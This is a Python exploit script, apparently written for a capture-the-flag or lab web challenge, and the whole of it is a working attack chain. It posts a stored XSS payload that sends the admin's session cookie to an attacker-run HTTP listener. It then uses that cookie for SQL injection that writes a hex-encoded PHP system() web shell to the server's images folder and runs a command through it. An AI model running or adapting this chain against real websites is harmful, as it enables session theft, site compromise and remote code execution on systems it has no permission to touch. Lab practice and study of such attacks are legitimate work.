import http.server
import socketserver
import requests


###### Fill in the following
attackerIP      =   "192.168.xx.xx"  # IP to start HTTP server on
attackerPort    =   8082            # Port to start HTTP server on to catch cookie
victimIP        =   "192.168.xx.xx"  # IP of the challange
######

done = False # This is used so that the server turns off after one request
adminCookie= '' # Global var to save admin cookie and use accross functions
s = requests.Session()


## Used to post xss for getting cookies
def postComment():
    payload = {
        "title" : "test",
        "author": "test",
        "text"  : f'<script>image=new Image();image.src="http://{attackerIP}:{attackerPort}/?cookie="+document.cookie;</script>',
        "submit": "Submit+Query"

    }

    headers = {
        'content-type' : 'application/x-www-form-urlencoded'
    }

    postComment = s.post(f'http://{victimIP}/post_comment.php?id=1',data=payload,headers=headers)

    if postComment.status_code == 200:
        print(f'The comment has been posted')
    else:
        print(f'The comment was not posted status code: {postComment.status_code}')


## Used to inject the phpshell using sqli 
def getShell(cookie):
    print('Starting Shell process')
    cookies = {
        'PHPSESSID':cookie
    }

    getAdmin= requests.get(f'http://{victimIP}/admin/edit.php?id=1%27',cookies=cookies)
    if 'mysql_fetch_assoc' in getAdmin.text:
        print(f'[*]Injection successful')

    injectShell = requests.get(f'http://{victimIP}/admin/edit.php?id=.1%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b2763275d293b3f3e,3,4%20INTO%20OUTFILE%20%27/var/www/images/shell1.php%27--%20-', cookies=cookies)
    if injectShell.status_code == 200:
        print(f'[*] Shell has been Injected');

    getId = requests.get(f'http://{victimIP}/images/shell1.php?c=id', cookies=cookies)
    print(f'{getId.text}')


class Server(socketserver.TCPServer):

    # Avoid "address already used" error when frequently restarting the script 
    allow_reuse_address = True


class Handler(http.server.BaseHTTPRequestHandler):

    def do_GET(self):
        global done
        self.send_response(200, "OK")
        self.end_headers()
        adminCookie = self.path.split('=')[2]
        done = True
        print(f'Got admin Cookie: {adminCookie}')
        getShell(adminCookie)

postComment()
try:
    with Server(("", attackerPort), Handler) as httpd:
        print(f'[+] Server has been started')
        while not done:
            httpd.handle_request()
except:
    pass



